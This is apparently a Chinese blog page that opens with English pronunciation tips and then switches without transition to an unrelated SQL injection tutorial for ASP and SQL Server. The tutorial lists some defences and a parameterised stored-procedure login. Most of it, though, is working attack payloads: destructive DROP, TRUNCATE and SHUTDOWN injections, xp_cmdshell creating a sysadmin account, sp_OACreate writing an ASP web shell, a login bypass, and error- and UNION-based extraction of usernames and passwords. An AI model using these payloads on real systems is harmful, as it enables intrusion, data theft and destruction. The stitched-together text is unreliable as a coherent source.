雪 薄草的部落格

如果你不能聽出你自己的發音問題，那很難去改正它。試著把你的演說用錄音帶錄下來，並與以英語為母語的外國人士做個比較。

很多英文學習者說話的時候，都說的很快然而增加他們的壞習慣。每一天練習一點點。先從單升調開始，然後轉換成單字，最後，將這些單字合起來。

閉上你的眼睛，在說之前想想如何發這個音。想像你的嘴巴和臉的定位。

發音是一個肢體技巧。你正教你的嘴巴一個新的方法去移動和使用不同的肌肉。每一天專注在困難的音調。有沒有困難發'th'？把你的舌頭放在你的牙齒之間(不要咬緊)然後，從嘴巴裡吐氣出來。感覺空氣在你的舌頭上面移動。

站在鏡子前面看看你舌頭，嘴唇和嘴型的位置當你發音的時候。和你所看的Englishtown發音錄影帶做比較！

沒有任何可取帶讓以英語為母語的人士來教你發音。所以注意聽！聽聽英語廣播節目，看英語電視和電影。(不要看字幕！)模仿你聽到的聲音-即使你不確定他們說什麼。

發音問題會一直持續因為我們會害怕出錯。編一個劇本-第一次和別人見面，餐廳點餐，詢問方向-然後自己演出一段對話。不要害羞！

從旁人那得到回饋是很重要的。找一個朋友他也對改善英文很有興趣。試著去交換過去的留言你可以更接近的聽出每一個人的發音。

好的發音更勝於專精於每一個音。這很容易瞭解intonation(聲音的升降)和stress (一些音在字當中和一些自在句子當中比其他更大聲或是更清楚)。大聲地唸詩，演講和唱歌，專注在字的重音和音調。

聽單字從熱門英文歌曲中並跟著唱。唱歌可以放鬆心情和使用這些單字，也可以幫助你的節奏和語調。

利用特殊指令攻擊

駭客於任何要求輸入資料時打入特殊指令或程式碼，讓破壞性程式碼『隱藏』在標準的SQL程式中，達到其攻擊目的。

利用系統的錯誤訊息找出資料庫弱點

要對資料庫進行存取或修改，必需要對資料庫的結構有所瞭解，通常駭客很難瞭解資料庫結構，但未經掩飾的錯誤訊息反而容易造成問題。資料庫管理系統為能協助
程式開發與管理人員了解錯誤指令所造成的問題與根源，會在錯誤訊息上顯示完整的資訊，若電子商務系統未經防範而直接讓錯誤訊息顯示在網頁上，無異是給駭客
入侵留下線索。

為能有效的阻絕駭客利用『資料隱碼』方式入侵，微軟建議採取以下各項防範之道：

1.
加強程式上的安全檢查措施：在程式中加上輸入資料型態檢查、資料長度檢查與資料內容檢查，讓駭客無法利用隱藏於輸入資料的特殊指令或程式碼有機可乘。

2. 妥善使用權限管理：在程式中勿用較高權限來存取資料庫，比如說讓SQL程式使用資料庫管理員(System
Administrator,
SA)身份來存取資料庫。此外，若使用Windows 2000作業系統搭配SQL Server則建議使用Windows
2000認證機制。

3.
保持良好的程式開發習慣：撰寫資料庫存取或查詢程式時，利用兩個單引號『’’』來標註任何輸入的變數給SQL程式；利用單引號『’』會讓駭客的隱碼易於得
逞。

4.
將核心程式碼隱藏起來：勿讓網頁上程式直接存取或查詢資料庫，而是透過預存程式(Stored-procedure)來執行，而XML Web
Service也是另一個提高安全性的好方法，保護核心程式邏輯與資料庫結構不至外洩，而Microsoft SQL Server
2000是目前唯一支援XML Web Service的資料庫管理系統。

5.
以標準的訊息回覆給客戶：電子商務網站對於任何回覆給客戶的訊息應有所規範，透過程式攔截下任何作業系統或資料庫管理系統所可能產生的錯誤訊息，改以統一
且明確的訊息來指導客戶。

6.
刪除多餘的資料表(Table)：資料庫管理系統安裝後會有幾個既存的資料表，這些資料表是供程式開發、範例資料庫或暫存使用，如”pub”
及”Northwind”等，請在電子商務網站上線後移除；因為這些公用的資料表架構是公開的，易為駭客所利用。

' ;SHUTDOWN--

' ;DROP Database <資料庫名稱>--

' ;DROP Table <資料表名稱>--

' ;Truncate Table <資料表名稱>--

' ;DELETE FROM <資料表名稱>--

' ; EXEC MASTER..XP_CMDSHELL 'net
user
Hacker /add' EXEC
MASTER..SP_GRANTLOGIN
'BYRON-XP\Hacker' EXEC
MASTER..SP_ADDSRVROLEMEMBER
'BYRON-XP\Hacker','sysadmin'--

CREATE TABLE tblShareDir(DirName
VARCHAR(100), DirAtt VARCHAR(100))
INSERT tblShareDir EXEC
MASTER..XP_REGENUMVALUES
HKEY_LOCAL_MACHINE,'system\CurrentControlSet\Services\lanmanserver\shares'

sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop

';DECLARE @shell INT EXEC
SP_OACREATE 'wscript.shell',@shell
OUTPUT EXEC SP_OAMETHOD
@shell,'run',null,
'C:\WINNT\system32\cmd.exe /c type
c:\inetpub\wwwroot\sqlinject\login.asp
>
c:\inetpub\wwwroot\sqlinject\test.txt'--

DECLARE @fs int,@fi int
EXEC SP_OACREATE
'Scripting.FileSystemObject',@fs
OUTPUT
EXEC SP_OAMETHOD
@fs,'CreateTextFile',@fs
OUTPUT,'C:\InetPub\WWWRoot\SQLInject\Shell.asp',1
EXEC SP_OAMETHOD
@fs,'WriteLine',null,'<%
Set
objShell=Server.CreateObject("WScript.Shell")
: objShell.Run Request("cmd") %>'

http://localhost/sqlinject/shell.asp?cmd=C:\WINNT\system32\cmd.exe
/c type
c:\inetpub\wwwroot\sqlinject\login.asp
>
c:\inetpub\wwwroot\sqlinject\test.txt

bcp northwind.dbo.tblUser out
C:\inetput\wwwroot\sqlinject\user.txt
-c -Usa -P -SByron-XP

osql -Usa -P -SByron-XP -dNorthwind
-oc:\inetpub\wwwroot\sqlinject\users.txt
-Q"select * from tblUser"

Exec spXXX 參數,…

Exec spXXX 參數,…;SHUTDOWN

ECREATE PROC spUserAccount
@UserName NVarchar(50),@Password
NVarchar(50)
AS
SELECT UserName,Password FROM
tblUser
WHERE UserName=@UserName AND
Password=@Password

<%
If Request("UserName")<>"" And
Request("Pass")<>""
Then
Dim cnn,rec,strSQL,cmd
Set
cnn=Server.CreateObject("ADODB.Connection")
With cnn
.ConnectionString=Application("Conn")
.Open
End With
'透過 ADODB.Command 物件來搭配預存程序，駭客就無法
'利用組合 SQL 字串的方式來侵入系統
Set
cmd=Server.CreateObject("ADODB.Command")
With cmd
.ActiveConnection = cnn
.CommandText = "spUserAccount"
.CommandType = 4 'adCmdStoredProc
.Parameters.Append
.CreateParameter("UserName",
202, 1, 50, Request("UserName"))
'202 代表 adVarWChar，1 代表 adParamInput
.Parameters.Append
.CreateParameter("Password",
202, 1, 50, Request("Pass"))
Set rec = .Execute()
End With
If NOT rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write "歡迎光臨 " &
Request("UserName")
Else
Response.Write "您的帳號/密碼輸入錯誤"
End If
Else
%>

CREATE TABLE
[tblUser] (
     [UserID] [int] IDENTITY (1, 1) NOT NULL ,
     [UserName] [nvarchar] (50) NOT NULL ,
     [Password] [nvarchar] (50) NOT NULL ,
     [Pri] [tinyint] NULL CONSTRAINT [DF_tblUser_Pri]
DEFAULT (0),
     CONSTRAINT [PK_tblUser] PRIMARY KEY CLUSTERED
     ([UserID])
)

INSERT
tblUser(UserName,Password,Pri)
VALUES('Admin','AdminPass',10)
INSERT
tblUser(UserName,Password,Pri)
VALUES('Byron','ByronPass',10)

<%
If
Request("UserName")<>""
And
Request("Pass")<>""
Then
Dim
cnn,rec,strSQL
Set
cnn=Server.CreateObject("ADODB.Connection")
With
cnn
.ConnectionString=Application("Conn")
.Open
'利用使用者輸入的資料來組合
SQL
語法

strSQL="SELECT
*
FROM
tblUser
WHERE
UserName='"
& _
Request("UserName")
& "' AND
Password='"
&
Request("Pass")
& "'"


'直接交給 SQL
Server
執行，這是最危險的地方
Set
rec=.Execute(strSQL)
End
With
If
NOT
rec.EOF Then
Session("UserName")=Request("UserName")
Response.Write
"歡迎光臨 " &
Request("UserName")
Else
Response.Write
"您的帳號/密碼輸入錯誤"
End
If
Else

%>
<Form
action="login.asp">
使用者名稱：<Input
Name="UserName"><P>
密碼：<Input
Name="Pass"
>
<P>
<Input
type="submit"
Value="確定">
</Form>
<%
End
If
%>

在需要輸入使用者名稱的地方鍵入以下的內容²：
Admin’--
而密碼欄位隨便亂輸入，對於會被執行的整句 SQL 沒有什麼關係。示意圖如圖
1。

SELECT *
FROM
tblUser
WHERE
UserName='admin'--'
AND
Password='asdf'

SELECT *
FROM
tblUser
WHERE
UserName='admin'

‘ or
1=1--

SELECT *
FROM
tblUser
WHERE
UserName=''
or
1=1--'
AND
Password='asdf'

獲取欄位數量與名稱

微軟為了方便 ASP 的程式開發者可以順利地除錯，因此每當 Script
執行錯誤時，都會透過預設的
<系統所在磁碟>\WINNT\Help\iisHelp\common\500-100.asp
網頁將發生錯誤的原因回傳到前端，對於開發者來說，這是一個非常方便的錯誤呈現方式。但駭客也可以利用這個錯誤訊息取得原始
ASP
中的查詢語法，並從中了解資料庫中資料表的架構。例如在使用者名稱欄位輸入：
' HAVING 1=1--
則系統會傳回如圖 2 的錯誤訊息。

由圖 2 可以知道存放使用者的資料表名稱是
tblUser，且查詢中有一個欄位叫
UserID。因此我們再次輸入：
'GROUP BY UserID HAVING 1=1--
這回錯誤訊息如圖 3。

'GROUP BY UserID,UserName HAVING
1=1--

'GROUP BY
UserID,UserName,Password,Pri
HAVING 1=1--

SELECT * FROM tblUser WHERE
UserName=''GROUP
BY UserID,UserName,Password,Pri
HAVING
1=1--' AND Password='asdf'

';INSERT INTO tblUser
Values('hacker','hacker',10)--

'UNION SELECT 'abc',1,1,1 FROM
tblUser --

結果傳回如圖 4 的錯誤訊息。

'UNION SELECT UserName,1,1,1 FROM
tblUser
WHERE UserName>'a'--

'UNION SELECT Password,1,1,1 FROM
tblUser
WHERE UserName='admin'--

錯誤訊息如圖 6。

'UNION SELECT UserName,1,1,1 FROM
tblUser
WHERE UserName>'admin'--

錯誤訊息如圖 7。

';DECLARE @str VARCHAR(8000) SET
@str='@'
SELECT @str=@str+'
'+UserName+'/'+Password
FROM tblUser WHERE UserName>@str
SELECT @str
AS IDPass INTO tblHacker--

' UNION SELECT IDPass,1,1,1 FROM
tblHacker--

結果如圖 8。

' ; DROP TABLE tblHacker--